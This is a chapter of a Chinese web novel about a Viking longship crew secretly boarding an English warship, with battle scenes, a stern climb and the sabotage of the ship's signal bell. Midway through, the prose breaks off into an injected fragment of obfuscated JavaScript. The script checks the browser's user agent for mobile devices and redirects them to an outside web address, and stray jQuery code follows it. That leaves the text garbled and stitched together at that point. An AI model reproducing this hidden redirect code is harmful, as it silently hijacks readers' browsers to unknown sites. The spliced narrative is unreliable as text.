海狼号收起船帆，仅靠十六对桨无声划行。


    桨叶入水的角度经过精心调整，几乎不溅起水花。每个桨手嘴里都含着浸湿的布条，不是为了塞耳，而是为了抑制呼吸声。船身涂了混入木炭粉的焦油，在暮色中像一块漂浮的礁石阴影。


    奥拉夫站在船首狼头雕刻下，双手拄着一柄双刃战斧。他没穿盔甲，只套了件厚实的浸油皮革背心，粗壮的手臂裸露在外，肌肉在紧绷时像绞紧的缆绳。


    “看见光了吗？”他低声问。


    瞭望手趴在桅杆横桁上，像只蓄势待发的蜘蛛。“一点钟方向，距离三里。”


    “速度？”


    “满帆顺风，不快不慢。”


    奥拉夫点头，转向掌舵的老斯文。“绕到它的东南方。我们要从背光处切入。”


    “明白。”


    海狼号开始转向。桨手们调整节奏，船身划出一道平滑的弧线，绕过一片稀疏的雾带，悄无声息地接近蓟花号的右后侧——那是夕阳最后余晖的方向，也是瞭望视线最盲目的死角。


    木兰蹲在左舷边，检查身上覆着的湿牛皮。老斯文的手艺不错，牛皮浸透了焦油，表面粗糙地撒了一层细海沙，摸上去像蜥蜴的皮。她活动了一下左肩，刀伤已经结痂，绷带缠得很紧，不影响动作。


    埃里克在她旁边，正用磨石最后擦拭斧刃。他的动作很慢，很专注，像在完成某种仪式。


    “底舱入口在水线下三尺。”他忽然开口，声音压得很低，“圆形，直径两尺，有铁栅栏。我们要用撬棍。”


    “几个人守？”木兰问。


    “不会多。底舱是货仓和水手铺位，战斗时大部分人会上甲板。”埃里克停下动作，眼睛在暮色中显得格外冷冽，“你那边呢？”


    “小艇准备好了。托尔和哈肯跟我。”木兰说的两个人是船上最瘦小的桨手，攀爬好手，“等你们在主甲板打响，我们就贴尾楼。”


    埃里克点点头，没再说话。他收起磨石，将战斧插回腰后的皮套，开始检查随身装备：两把短柄手斧，一把匕首，一捆绳索，还有一小包用油布裹着的火绒，必要时可以放火。


    船身忽然轻轻一震。


    “到了。”奥拉夫的声音从前传来，像从喉咙深处滚出的闷雷。


    所有人都抬起头。


    三百步外，蓟花号的轮廓在暮色中清晰起来。它确实像一座移动的城堡，三层甲板，高耸的尾楼在渐暗的天光中投下沉重的阴影。船身包铜处反射着最后一缕天光，像巨兽鳞片。侧舷的炮窗开着，弩炮的绞盘隐约可见。


    甲板上有人影走动，但不多。晚餐时间，大部分人在下层舱室。


    奥拉夫举起右手，五指张开。


    桨手们轻轻提桨，让船速减缓，保持与目标相同的航向和速度。海狼号像一条耐心的鲨鱼，游弋在猎物的影子中。


    时间一点点流逝。海风转凉，带着夜晚的湿气。远处，蓟花号的船钟敲响，清脆的铜音在海面上荡开——八响，换班时间。


    甲板上的人影多了起来。火把被点燃，插在船舷两侧的支架上，跳动的火光将船身轮廓勾勒得更加分明。


    “就是现在。”奥拉夫放下手。


    几乎同时，埃里克和另外三个维京战士悄无声息地滑入海中，连水花都极小。他们嘴里叼着芦苇杆，向蓟花号的船身中段潜去。


    木兰看着他们消失在黑暗的水面下，然后转向船尾。托尔和哈肯已经将小艇放下水，正在调整位置。


    “走。”她说。


    三人顺着绳索滑入小艇。托尔操桨，哈肯准备抓钩和绳索。小艇像一片落叶，悄无声息地漂向蓟花号高耸的船尾。


    距离拉近到五十步时，木兰看清了尾楼外壁的细节。英格兰玫瑰与苏格兰蓟花的浮雕在暮色中凹凸分明，花瓣与叶片的转折处形成天然的抓握点。两扇舷窗透出暖黄的光，里面有人影晃动。


    她抬手示意。托尔停桨，小艇借着惯性继续滑行，最后轻轻靠在船尾下方，被巨大的阴影完全吞没。


    木兰仰头。船尾壁几乎垂直，包铜的表面在近处看并不完全光滑，有细微的铸造纹理和接缝。足够了。


    她深吸一口气，将浸油的牛皮手套戴好，双手按在铜壁上。


    黏。


    这是第一个感觉。焦油的黏性让手掌牢牢吸附在金属表面。然后是沙粒提供的摩擦，像无数微小的牙齿咬合。


    她开始攀爬。


    动作很慢，像真正的壁虎。右脚尖寻找浮雕的凸起，左手向上摸索，找到下一个吸附点，身体贴紧壁面，一寸一寸向上挪动。独眼在黑暗中反而成了优势，她不需要适应光暗变化，始终保持着对阴影最敏锐的感知。


    下方，托尔和哈肯屏息看着。小艇随海浪微微起伏，像在为她计时。


    攀爬至一半时，左上方舷窗的光忽然暗了一下。


    有人靠近窗边。


    木兰立刻停住，身体紧贴在一朵浮雕玫瑰的阴影里。心跳在耳膜里鼓动，但她呼吸控制得极稳。


    舷窗被推开一条缝。一个水手探出头，打了个哈欠，嘴里嘟囔着什么，朝海面吐了口唾沫。唾沫几乎落在木兰头顶三尺处。


    水手没往下看。他缩回头，窗扇重新关上。


    木兰继续向上。


    终于，左手触到了尾楼甲板的边缘。木质的，不是铜。她手指扣住边缘，引体向上，右肩残肢抵住船壁借力，一个轻巧的翻身，滚上甲板，立刻缩进一处缆绳堆的阴影里。


    她成功了。


    ---


    甲板很窄，是环绕尾楼的走道。前方五步就是通往舵轮室的木门，右侧是通往下一层甲板的楼梯。一切如奥拉夫所料，此刻这里空无一人——所有人都被即将到来的换班和晚餐吸引了注意力。


    但钟房在哪里？


    木兰贴着船壁移动，独眼扫视。尾楼结构复杂，楼梯盘旋向上。钟房应该在舵轮室上方，靠近船长室的位置……


    下方主甲板忽然传来一声闷响。


    紧接着是第二声，第三声。


    那是埃里克小队撬开底舱栅栏的声音。


    几乎同时，正前方海狼号的方向，爆发出撕裂夜空的战吼。


    “奥丁在看着我们——！！！！”


    三十四个喉咙同时咆哮，声音像海啸般扑向蓟花号。紧随其后的，是密密麻麻的抓钩破空声，铁钩咬进木板的闷响，绳索绷紧的吱呀声。


    战斗开始了。


    木兰不再犹豫。她像一道影子滑上楼梯，两步一层，直奔尾楼第二层。


    ---


    主甲板已经变成炼狱。


    奥拉夫是第一个跳上蓟花号船舷的人。他没用抓钩，直接借着海狼号冲撞的势头，像投石机抛出的巨石般砸进敌群。双刃战斧抡开的瞬间，两个刚拔出剑的水手就被拦腰斩断。


    维京战士如潮水般涌上甲板。他们确实用湿布塞了耳，但战吼声从胸腔直接爆发，震得连船身都在颤动。火把的光在激烈的运动中拉出残影，人影交错，刀斧碰撞的锐响、骨头碎裂的闷响、濒死的惨嚎，混成一锅沸腾的死亡之汤。


    英军反应不慢。军官的嘶喊声中，两舷的火枪手同时开火。


    轰——！


    二十支火门枪齐射的巨响确实像奥拉夫描述的——闷雷在耳边炸开。浓白的烟雾瞬间弥漫，刺鼻的硫磺味呛得人咳嗽。铅弹穿透烟雾，打在最前排维京战士的盾牌上。


    笃笃笃……像冰雹砸在厚木板上。


    湿牛皮加橡木的复合盾起了作用。大部分铅弹嵌在盾面，只有少数穿透，但也失了力道，在锁甲上留下凹痕，没造成致命伤。


    但声音和烟雾起作用了。


    几个年轻的维京战士动作滞了一瞬，下意识想捂耳朵。就这一瞬，英军的长矛刺了过来。


    “吼——！”奥拉夫的咆哮像鞭子抽在每个人背上，“压上去！他们的枪废了！”


    他说得对。火枪手们正手忙脚乱地重新装填：倒火药、塞铅弹、用通条压实、在火门上安置引火药……这个过程需要时间，而维京人不会给他们时间。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081261|195323||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >战斧劈开烟雾，砍进血肉。


    埃里克是从底舱杀上来的。


    他和三个同伴撬开栅栏，潜入漆黑潮湿的底层货舱。这里堆满木箱和麻袋，空气中弥漫着谷物、咸鱼和老鼠屎的混合臭味。几个留守的水手正在玩骰子，听到头顶传来的战吼和枪声，茫然地抬头。


    然后他们看见了从黑暗中走出来的维京人。


    战斗短暂。埃里克的手斧砍倒两个，同伴解决剩下三个。他们没停留，直奔通往主甲板的楼梯。


    楼梯口有两个持戟的守卫。埃里克从阴影中掷出第一把斧子，劈开一人的锁骨，同时扑上去，用第二把斧子格开另一人的戟刺，膝盖顶中对方腹部，斧刃顺势上撩，切开喉咙。


    血喷了他一脸。


    他抹了把脸，冰蓝色的眼睛里没有情绪，只有绝对的专注。楼梯上方传来混乱的脚步声和喊叫，英军正在集结，试图夺回楼梯控制权。


    “守住这里。”埃里克对同伴说，自己则转向另一条通道——那是甲板的路线。


    他需要制造更大的混乱。


    ---


    木兰在尾楼第二层找到了钟房。


    门没锁。里面空间狭窄，正中悬挂着一口黄铜大钟，钟锤用绳索连接，绳索沿着天花板上的滑轮组延伸出去，通往船长室和舵轮室。一个年轻的传令兵正紧张地握着钟绳，耳朵贴在门板上听外面的动静。


    木兰推门的动作很轻，但门轴还是发出细微的吱呀声。


    传令兵猛地转身，脸上瞬间血色尽失。他想喊，但声音卡在喉咙里——木兰的匕首已经抵在他颈侧。


    “别动。”


    传令兵僵住了，眼睛瞪得老大，看着这个突然出现的、穿着古怪覆皮、只有一条胳膊的东方人。


    “钟绳，哪根控制‘全体撤退’？”木兰问。


    传令兵颤抖着指向其中一根。


    木兰用匕首割断它。然后是“转向左舷”、“转向右舷”、“集火射击”……一根根绳索在她刀下断开，像被斩首的蛇垂落下来。


    最后只剩下“接敌警报”。


    她没割这根。


    “现在，”她将匕首稍微压深半分，血珠沁出，“你拉响它。用最大的力气拉。”


    传令兵咽了口唾沫，双手抓住钟绳，猛地一扯。


    当——！


    铜钟轰鸣，声音穿透木板和烟雾，在整条船上回荡。


    当——！当——！当——！


    三长两短，正是“接敌警报”的节奏。但配合此刻甲板上已经白热化的战斗，这钟声只会传递一个信息：情况危急，需要增援。


    果然，下方传来更混乱的脚步声和喊叫。英军的指挥系统开始错乱——部分人按照原计划坚守岗位，部分人以为需要撤退，部分人盲目地冲向钟声指示的“危急区域”。


    混乱，正是维京人需要的。


    木兰利落一划，传令军无声毙命。


    木兰走出钟房，贴着走廊墙壁，向尾楼最高层船长室潜行。按照奥拉夫的情报，理查·德·克莱尔应该在那里。


    楼梯转角处忽然传来脚步声。


    她立刻闪身躲进一处凹进去的储物间，屏住呼吸。


    两个英军士兵跑上来，穿着镶钉皮甲，手里拿着剑，脸上沾着烟灰和血。“钟房在上面！快！”


    他们从木兰藏身的凹槽前跑过，没注意到阴影里的人。


    等脚步声远去，木兰继续向上。


    船长室的门紧闭着，但从门缝里透出灯光。她将耳朵贴在门板上。


    里面有人在说话，声音急促，带着压抑的怒意。


    “……一群废物！连钟绳都守不住！去，带人去钟房，把传令兵找出来，我要亲手绞死他！”


    “是，大人。但甲板上……”


    “甲板上有火枪队和长矛手，足够对付那些野蛮人！快去！”


    脚步声靠近门。木兰立刻后退，闪到楼梯下方阴影里。


    门开了，一个军官模样的人冲出来，带着四个士兵，急匆匆往楼下跑。